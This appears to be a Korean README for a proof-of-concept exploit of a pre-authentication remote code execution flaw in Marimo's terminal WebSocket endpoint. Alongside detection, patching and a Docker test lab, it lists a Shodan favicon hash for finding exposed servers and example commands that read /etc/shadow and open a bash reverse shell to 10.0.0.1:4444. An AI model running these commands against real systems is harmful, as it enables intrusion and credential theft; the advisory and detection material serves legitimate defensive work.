
CVE-2026-39987 PoC: Marimo 0.23.0 미만에서 WebSocket을 통한 사전 인증 RCE (CVSS 9.3)
이 스크립트는 교육 목적 및 승인된 테스트 전용입니다. 명시적 허가 없이 시스템에 대해 이 도구를 무단 사용하는 것은 불법입니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다.
0.23.0 이전 버전의 Marimo는 인증 없이 원격 코드 실행(RCE)이 가능한 치명적인 취약점을 가지고 있습니다. /terminal/ws 엔드포인트는 적절한 접근 제어를 구현하지 않아, 인증되지 않은 공격자가 시스템에서 완전한 대화형 셸을 얻을 수 있습니다.
| 세부 사항 | 정보 |
|---|---|
| CVE | CVE-2026-39987 |
| 심각도 | 치명적 |
| CVSS 점수 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| 유형 | 사전 인증 원격 코드 실행 (RCE) |
| 벡터 | WebSocket (/terminal/ws) |
| 영향받는 제품 | Marimo < 0.23.0 |
| 패치 | Marimo ≥ 0.23.0 |
http.favicon.hash:-1864630356
text
-1864630356/api/versionpip install websockets requests
기본 사용법
bash
python CVE-2026-39987_PoC.py http://victima.com:8080 "id"
예시
bash
# 시스템 정보 얻기
python CVE-2026-39987_PoC.py http://target.com:8080 "id"
python CVE-2026-39987_PoC.py http://target.com:8080 "uname -a"
python CVE-2026-39987_PoC.py http://target.com:8080 "whoami"
# 민감한 파일 읽기
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/passwd"
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/shadow"
# 리버스 셸
python CVE-2026-39987_PoC.py http://target.com:8080 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
# 대화형 셸
python CVE-2026-39987_PoC.py http://target.com:8080 "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
🛡️ 탐지 (안전)
수동 탐지 스크립트
bash
python detector.py -u http://target.com:8080
python detector.py -l urls.txt
Nuclei 템플릿
yaml
# marimo-cve-2026-39987.yaml
id: CVE-2026-39987
info:
name: Marimo < 0.23.0 Pre-Auth RCE
severity: critical
# ... (전체 템플릿 포함)
🔧 해결 방법
즉시 조치
노출된 경우 시스템을 네트워크에서 분리
Marimo가 실행 중인 포트에 대한 접근 차단
의심스러운 활동이 있는지 로그 검토
영구 조치
bash
# 패치된 버전으로 업데이트
pip install --upgrade marimo>=0.23.0
# 버전 확인
marimo --version
# 공개적으로 노출하는 경우 인증 구성
# 'marimo edit'을 인터넷에 직접 노출하지 마십시오
Docker (취약한 환경)
bash
# 테스트용 취약 버전 실행
docker run -p 8080:8080 marimo-team/marimo:0.22.0
# 취약점 확인
python CVE-2026-39987_detector.py http://localhost:8080
# 익스플로잇
python CVE-2026-39987_PoC.py http://localhost:8080 "id"
GitHub Security Advisory
NVD Entry
Pull Request #9098
Marimo Documentation
👥 크레딧
발견: [연구자 이름]
PoC 개발: [귀하의 이름]
패치: Marimo Team
📜 라이선스
이 프로젝트는 교육 목적으로만 제공됩니다. 이 소프트웨어의 사용은 전적으로 사용자 본인의 책임입니다.
⭐ 이 README가 도움이 되었다면, 저장소에 별표를 남겨주세요.
⚠️ 기억하세요: 큰 힘에는 큰 책임이 따릅니다.